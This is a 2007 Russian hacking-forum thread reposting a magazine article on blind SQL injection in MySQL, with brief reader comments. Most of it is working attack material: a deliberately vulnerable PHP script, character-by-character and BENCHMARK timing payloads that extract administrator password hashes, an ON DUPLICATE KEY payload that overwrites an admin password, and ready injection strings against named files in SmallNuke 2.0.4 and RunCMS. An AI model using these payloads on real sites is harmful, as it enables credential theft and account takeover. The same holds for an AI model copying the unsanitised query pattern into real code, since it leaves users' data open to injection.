Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Эффективные Слепые Иньекции |

20.12.2007, 00:52
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
Эффективные Слепые Иньекции
----[ MYSQL CHAR BRUTEFORCING ... under0x77ater ]
"Когда я это писал меня постояно будили - мать твою , я же творю ..."
Не всегда при проведении атаки вида sql - injection возможно воспользоваться оператором union и единственным способом
получить информацию из таблицы является посимвольный перебор данных.Этот способ является универсальным для всех операторов,
будь то UPDATE,SET,DELETE или INSERT,так как даже модифицируя данные,поступаемые в таблицу,результат нас не всегда будет
устраивать из-за таблицы,не удовлетворяющей нашим потребностям.На примере всех типов запросов я покажу как быстро и грамотно
проделать перебор и получить требуемую информацию.
Публикация из журнала "Хакер" за декабрь 2007 год
|
|
|

20.12.2007, 00:53
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
----[ NITRO ... ]
Не всегда при проведении атаки вида sql - injection возможно воспользоваться оператором union и единственным способом
получить информацию из таблицы является посимвольный перебор данных.Этот способ является универсальным для всех операторов,
будь то UPDATE,SET,DELETE или INSERT,так как даже модифицируя данные,поступаемые в таблицу,результат нас не всегда будет
устраивать из-за таблицы,не удовлетворяющей нашим потребностям.На примере всех типов запросов я покажу как быстро и грамотно
проделать перебор и получить требуемую информацию.
----[ FUNCTIONS ... ]
ASCII(STRING) - Возвращает числовое значение первого символа строки STRING или ноль в случае,если строка является пустой.
Работает в диапазоне от 0 до 2555.
PHP код:
mysql > SELECT ASCII(1) -> 49
PHP код:
mysql > SELECT ASCII('1') -> 49
PHP код:
mysql > SELECT ASCII('a') -> 97
PHP код:
mysql > SELECT ASCII('aa') -> 97
ORD(STRING) - Возвращает код первого символа строки STRING , вычисленного из числовых значений байтов,из которых он состоит.
Если же левый символ не многобайтный,работает как и функция ASCII.
(код 1 байта * 256) + (код 2 байта * 256^2) + (код 3 байта * 256^3)
PHP код:
mysql > SELECT ORD(1) -> 49
PHP код:
mysql > SELECT ORD('1') -> 49
PHP код:
mysql > SELECT ORD('a') -> 97
PHP код:
mysql > SELECT ORD('aa') -> 97
BETWEEN MIN AND MAX - Если выражение больше или равно MIN и меньше или равно MAX , то BETWEEN() возвратит 1 , иначе 0.
Если все элементы имеет один тип (например,числовой),то запрос сводится к выражению MIN <= QUERY AND QUERY <= MAX.До MySQL
4.0.5 в случае неоднотипных данных шло приведение к типу запроса.
PHP код:
mysql > SELECT 5 BETWEEN 1 AND 6 -> 1
PHP код:
mysql > SELECT 5 BETWEEN '1' AND '6' -> 1
PHP код:
mysql > SELECT 5 BETWEEN 1 AND 4 -> 0
PHP код:
mysql > SELECT 5 BETWEEN '1' AND '4' -> 0
IN(VALUE1,VALUE2) - Вощвращает 1 , если запрос равен одному из значений в IN(),в противном случае mysql вернет 0.Если все
значения - константы,они обрабатываются в соответствии с типом запроса и сортируются с использованием бинарного дерева.То есть
запрос выполнится быстро если все переменные однотипны.Значения регистрозависимы.
PHP код:
mysql > SELECT 1 IN (2,3,4,5,1) -> 1
PHP код:
mysql > SELECT 1 IN (2,3,4,5,'1') -> 1
PHP код:
mysql > SELECT 1 IN (2,3,4,5,0) -> 0
PHP код:
mysql > SELECT 1 IN (2,3,4,5,'0') -> 0
LOWER(STRING) - Возвращает строку STRING в которой все символы приведены к нижнему регистру в соответсвии с текущим набором
символов (по умолчанию ISO-8859-1 LATIN1)
PHP код:
mysql > SELECT LOWER('ITDEFENCE') -> itdefence
PHP код:
mysql > SELECT LOWER('ITDEFeNCE') -> itdefence
PHP код:
mysql > SELECT LOWER('itdefence') -> itdefence
PHP код:
mysql > SELECT LOWER(123) -> 123
SUBSTRING(STRING,POSITION,LENGTH) - Функцию копирует подстроку из строки STRING с позиции POSITION длины LENGTH
PHP код:
mysql > SELECT SUBSTRING('itdefence',4) -> efence
PHP код:
mysql > SELECT SUBSTRING('itdefence' FROM 4) -> efence
PHP код:
mysql > SELECT SUBSTRING('itdefence',4,2) -> ef
PHP код:
mysql > SELECT SUBSTRING('itdefence',1,2) -> it
SUBSTRING_INDEX(STRING,DELIMITER,LENGTH) - Возвращает подстроку строки STRING до позиции LENGTH после разделителя DELIMITER.
Если значение LENGTH положительное,возвращаетс все,что лежит слева от DELIMITER.Если значение LENGTH отрицательное,возвращаетс все,
что лежит справа от разделителя DELIMITER.
PHP код:
mysql > SELECT SUBSTRING_INDEX('itdefence.ru', '.' ,2) -> itdefence.ru
PHP код:
mysql > SELECT SUBSTRING_INDEX('itdefence.ru','.',-1) -> ru
PHP код:
mysql > SELECT SUBSTRING_INDEX('itdefence.ru','.',1) -> itdefence
Последний раз редактировалось Евгений Минаев; 20.12.2007 в 00:56..
|
|
|

20.12.2007, 00:54
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
----[ EXAMPLE ... ]
Для примера создадим таблицу USERS с полями id username password
PHP код:
mysql > CREATE TABLE `users` (
`id` int(11) NOT NULL default '0',
`username` varchar(15) NOT NULL default '',
`password` varchar(32) NOT NULL default ''
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
И внесем для теста оду запись 1,itdefence,itdefence
PHP код:
mysql > INSERT INTO `users` ( `id` , `username` , `password` ) VALUES ( '1', 'itdefence', 'itdefence' );
И напишем скрипт со специально сделанной уязвимостью
PHP код:
<?php
$sqlhost = 'localhost';
$sqlpass = '';
$sqluser = 'root';
$sqlname = 'itdefence';
$mysql_link = mysql_connect($sqlhost,$sqluser,$sqlpass);
if (!$mysql_link) die (mysql_error());
$result = mysql_select_db($sqlname);
if (!$result) die (mysql_error());
$query = 'SELECT * FROM `users` WHERE `id`=\''.$_GET['id'].'\'';
$result = mysql_query($query);
if (!$result) die (mysql_error());
echo mysql_num_rows($result);
mysql_close($mysql_link);
?>
----[ SUBQUERIES ... ]
Для примера я буду рассматривать MySQL > 4.1 так как с этой версии поддерживаются все формы подзапросов,которых требует стандарт
SQL.Подзапрос можно вкладывать в другой подзапрос и его надо обрамлять скобами
PHP код:
mysql > SELECT * FROM `users` WHERE `id` = (SELECT MAX(ID) FROM `users`)
PHP код:
mysql > SELECT * FROM `users` WHERE `id` = ANY ( SELECT MAX(id) FROM `users`)
PHP код:
mysql > SELECT * FROM `users` WHERE (1,1) = ( SELECT `id`,`username` FROM `users` )
В процессе могут встречаться следующие ошибки , как :
неподдерживаемый синтаксис ошибок
PHP код:
mysql > SELECT * FROM `users` WHERE `id` IN ( SELECT `id` FROM `users` ORDER BY `id` LIMIT 1)
-> #1235 - This version of MySQL doesn't yet support 'LIMIT & IN/ALL/ANY/SOME subquery'
число столбцов в подзапросе неверное
PHP код:
mysql > SELECT ( SELECT `id`,`username` FROM `users`) FROM `users`
-> #1241 - Operand should contain 1 column(s)
неверное количество строк в поздапросе
PHP код:
mysql > SELECT `id` FROM `users` WHERE `id` = ( SELECT id FROM `users` )
-> #1242 - Subquery returns more than 1 row
Ошибка в подзапросе приводит к нарушению всего запроса.Для более ранних версий можно запросы с подзапросами заменить более
легкими конструкциями
PHP код:
mysql > SELECT DISTINCT users.* FROM `users` WHERE users.id = 1
PHP код:
mysql > SELECT users.* FROM users LEFT JOIN banned ON users.id = banned.id WHERE banned.id IS NOT NULL
|
|
|

20.12.2007, 00:59
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
----[ LETS DO IT ... ]
Когда мы уже знакомы с синтаксисом подзапросов и описанием нужных функций перейдем к делу.Вернемся к нашему скрипту и
внимательно взглянув на запрос,видим что отсутствует фильтрация входящего параметра id.Для проверки подставим одинарную
ковычку,чтобы нарушить структуру запроса и привести его к неправильному виду.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='''
-> 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
Мы можем самостоятельно завершить запрос , подставив ковычку и знак комментария.Изначально в mysql поддерживалось только три
типа комментариев , многострочные /* */ , однострочный # и для совместимости с языком SQL однострочный -- , после которого
обязательно должен идти пробел либо символ перевода строки.Я буду использовать -- , выбор особого значения это не имеет ,
скорее это дело привычки.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='0'-- -> 0
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1'-- -> 1
Так как вывода данных кроме как результата обработки мы не имеем , будем делать перебор каждого символа строки с
его ascii кодом.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='0' or ascii(1)=49-- -> 2
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='0' or ascii(1)=40-- -> 0
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(1)=49-- -> 1
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(1)=48-- -> 0
AND надо использовать в том случае,если первое условие запроса вернет какой либо результат,иначе запрос прервется
еще не дойдя до второго нужного нам условия,а OR если первое условие нашего запроса не возвращает результата.
Каким способом мы будем сравнивать тоже имеет значение,запрос с однотипными данными займет куда меньше времени
нежели сервер будет сам приводить оба к единому типу.
PHP код:
mysql > SELECT 1 > 1 -> 0
PHP код:
mysql > SELECT 7 > '6x' -> 1
PHP код:
mysql > SELECT 7 > 'x6' -> 1
PHP код:
mysql > SELECT 0 = 'x6' -> 1
Возможные типы сравнения в mysql : равенство = , безопасное с точки зрения сравнения с NULL равенство <=> , неравенство <> !=
, меньше и больше < > , меньше или равно и больше или равно <= => соответствено и сравнению с NULL IS NULL , IS NOT NULL.
Для перебора нам надо будет копировать каждый символ строки с помощью функции SUBSTRING , сравнивая его сначала с нулем ,
а затем с набором ascii кодов для нужного типа данных.Узнать такой код можно например с помощью php функции ORD().
Перейдем к практике и вернемся к нашему примеру.В таблице `users` поле password содержит данные в md5 шифровании,что часто
встречается в различных cms и форумах.Это несколько облегчит нашу задача,так как используя функцию lower() и известный набор
символов мы быстро получим результат.Как известно,md5 хеш может состоять только из цифр от единицы до девяти и буквы a,b,c,d,e,f.
Используя навыки обращения с ascii() и substring() составим запрос с подзапросом-выборкой пароля.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1))>0-- -> 1
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1))<0-- -> 0
При больших обьемах перебора будет рационально другой метод сравнения путем использования IN или NOT IN.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) IN(1,2,4,5)-- -> 0
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) IN(51,52,53)-- -> 1
У этого метода по скорости выигрывает BETWEEN , так как выполняется в меньше кол-во тактов.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) BETWEEN 1 and 5-- -> 0
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) BETWEEN 51 and 55-- -> 1
То есть вся наша работа сводится к заданию промежутка оптимального количества кодов и если результат положителен,сравнивание
с каждым кодом из диапазона.
Как я уже сказал,вся универсальность метода заключается в том,что он будет работать независимо от оператора,будь то SELECT,
INSERT,UPDATE,DO,DELETE или SET.На всякий случай покажу пример с INSERT.Модифицируем наш запрос до вида,специально оставив
переменную id нефильтруемой.
PHP код:
$query = 'INSERT INTO `users` (id,username,password) VALUES (\''.$_GET['id'].'\',\'example\',\''.md5('example').'\');';
В таком случае наш запрос принимает вид , в случае которого при неудачном условии нам вернется сообщение с ошибкой
Subquery returns more than 1 row,так как выполнится условие 1=select 1 union select 2 что является недопустимым синтаксисом
для mysql.
PHP код:
mysql > INSERT INTO `users` (id,username,password) VALUES ('1','example',1=if(ascii(1)=48,1,(select 1 union select 2)))/* -> 0
PHP код:
mysql > INSERT INTO `users` (id,username,password) VALUES ('1','example',1=if(ascii(1)=49,1,(select 1 union select 2)))/* -> 1
|
|
|

20.12.2007, 01:01
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
----[ ON DUPLICATE ... ]
Начиная с mysql 4.1 , если при вставки данных с уже существующим первично указанным ключом то можно воспользоваться конструкцией
ON DUPLICATE KEY , которая при выполнении условия выполнит запрос на уже существующую колонку , аналогичный UPDATE`у.
Допустим , мы имеем иньекцию в регистрации пользователя в поле username
PHP код:
mysql > SHOW CREATE TABLE `users`
->CREATE TABLE `users` (
`name` varchar(60) NOT NULL default '',
`password` varchar(32) NOT NULL default '',
`email` varchar(60) NOT NULL default '',
`joindate` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
PHP код:
mysql > INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
-> Добавлены ряды: 1 (Запрос занял 0.0004 сек)
Теперь внедняем иньекцию в поле name , изменим пароль администратора underwater
PHP код:
mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','antichat' , 'hack@ed.ru' , 'spielberg')--
','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
-> #1062 - Duplicate entry 'underwhater' for key 1
PHP код:
mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
ON DUPLICATE KEY UPDATE `name`='evgeniy',`password`='mafia'-- ','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
-> Добавлены ряды: 2 (Запрос занял 0.0005 сек)
В итоге имеем администратора evgeniy а не underwater с собственным паролем.Также мы можем апдейтить другие таблицы , допустим
PHP код:
mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
ON DUPLICATE KEY UPDATE table2.admin_pass = 'underWHAT?!'
----[ BENCHMARK ... ]
Использовать benchmark для анализа запросов нужно только в тех случаях , когда вариант с подзапросами не дает результатов.Впервые этот
метод описал 1dt.w0lf , а затем широко раскрыл Elekt в своем мануале по benchmark-иньекциям.Используя if конструкцию мы можем заставить
mysql производить какие то действия в случае правильного запроса и замеряя время ответа от сервера судить правильность запроса. Время ,
которое при этом затрачивает mysql есть время потраченное на клиента , а не потраченное центральным процессором , поэтому рекоммендуется
выполнять BENCHMARK() несколько раз чтобы убедиться в правильности заданного условия в зависимости от нагрузки процессора.
Benchmark сильно загружает процессор и поэтому выполнять его стоит только при правильном запросе , так как кол-во правильных куда меньше
чем неудачных попыток перебора , да и время работы оставляет желать лучшего - на работу эксплоита может уйти больше часа.Также следует
настроить параметр , отвечающий за кол-во выполняемых действия , так как для каждого сервера он скорей всего будет разным.
PHP код:
mysql > SELECT `pass` FROM `users` WHERE `login` = '' or 1 = if (ascii(1)=49,1,benchmark(999999,md5('test')))--
-> Запрос занял 0.0004 сек
PHP код:
mysql > SELECT `pass` FROM `users` WHERE `login` = '' or 1 = if (ascii(1)=48,1,benchmark(999999,md5('test')))--
-> Запрос занял 3.6821 сек
----[ SHKODING ... ]
С методом мы определились , перейдем к програмной реализации и сразу рассмотрим для примера продукт SmallNuke
( www.smallnuke.com ).На момент написания статьи последней версией была 2.0.4.В файле modules/members/lost_pass.php
можно легко обнаружить BLIND SQL INJECTION, при высылке забытого пароля.
PHP код:
$username = trim (strip_tags ($_POST['username']));
$user_email = trim (strip_tags ($_POST['user_email']));
if (($username != "") AND ($user_email == "")) {
$where_dat = "username = '$username'";
} elseif (($username == "") AND ($user_email != "")) {
$where_dat = "user_email = '$user_email'";
} elseif (($username != "") AND ($user_email != "")) {
$where_dat = "username = '$username' AND user_email = '$user_email'";
} elseif (($username == "") AND ($user_email == "")) {
header ("Location: index.php?go=Members&in=lost_pass");
exit;
}
$sql = "SELECT * FROM ".SN_MEMBERS_TABLE." WHERE $where_dat";
Нас вполне устроит подстановка иньекции в поле user_email,поэксперементируем с запросами.Подставляем значение ' and ascii(1)=48/*
для поля для указания e-mailа пользователя и видим редирект на страницу с указанием ошибки.Запрос принимает
такой вид.
PHP код:
mysql > SELECT * FROM `users` WHERE user_email = '' and ascii(1)=48/*
Изменим значение ascii(1) на 49 и при подстановке измененного запроса увидим сообщение об успешной отправки нового пароля на емейл
пользователя.Нас такой вариант с перестановкой пароля не устраивает поэтому мы вытащим посимвольным перебором хеш админа.
PHP код:
mysql -> 123' or ascii(substring((select password from sn_admins where admin_id=1),1,1))=49/*
Таже ситуация и с запросом DELETE , на примере runcms это выглядит так . При получении айпи адреса проверяется лишь заголовок
X-FORWARDED-FOR , однако CLIENT-IP хоть и не проверяется но учитывается.
PHP код:
runcms/class/core.php 130: if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
PHP код:
runcms/class/core.php 135: elseif (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
m
PHP код:
odules\newbb_plus\class\class.whosonline.php (32):
$sql = "DELETE FROM ".$bbTable['whosonline']." where timestamp<".(time()-300 OR user_ip='"._REMOTE_ADDR."'";
После некоторых манипуляций запрос принимает окончательный вид . Главное условие - существование в таблицы хоть одной сессии ,
иначе наш подзапрос не выполнится.
PHP код:
mysql -> 123' or 1=if(ascii(substring((select pass from users where uid=1),1,1))=49,0,(select 1 union select 5))/*");
Использование lower сократит время перебора , но его стоит использовать только в случае если регистр данных в таблице не имеет значения ,
обычно так и оно и есть - пароли в большинстве случаев хранятся в md5 и при переборе хеша регистр символом не учитывается.
http://underwater.itdefence.ru/blog/mysql_char.txt
Последний раз редактировалось Евгений Минаев; 20.12.2007 в 01:12..
|
|
|

20.12.2007, 10:01
|
|
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме: 9089375
Репутация:
4268
|
|
Тема More 1 Row не раскрыта.
__________________
...
|
|
|

20.12.2007, 12:32
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
написанное баян, но в тоже время будет слишком сложно для средне статистичесского читателя журнала хакер. им нужны статьи как ковычку поставить чтобы инторнет похэнкоть
|
|
|

20.12.2007, 12:43
|
|
Познающий
Регистрация: 30.11.2007
Сообщений: 53
Провел на форуме: 464784
Репутация:
56
|
|
написанное баян, но в тоже время будет слишком сложно для средне статистичесского читателя журнала хакер. им нужны статьи как ковычку поставить чтобы инторнет похэнкоть
Полностью согласен!
Статейка "не для всех...." больше половину юзеров просто ничего не поймут....я и сам с трудом чуть разобрался))
|
|
|

20.12.2007, 12:59
|
|
Постоянный
Регистрация: 10.12.2005
Сообщений: 939
Провел на форуме: 3886281
Репутация:
929
|
|
БОЯН - но оформлено то как красиво  +1 за старания (если конечно еще кого то эти плюсы интересуют)
|
|
|

23.01.2008, 22:09
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
Применение конструкции вида INSERT ... ON DUPLICATE KEY UPDATE ... очень ограниченное и на практике использование подобного запроса крайне затруднительно. Например если мы имеем инъекцию после VALUES в таблице, где колонка PRIMARY KEY является auto_increment, то UPDATE после ON DUPLICATE KEY разумеется в естественных условиях никогда не выполнится. То есть нужно иметь инъекцию до VALUES - в названии колонок для инсерта
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|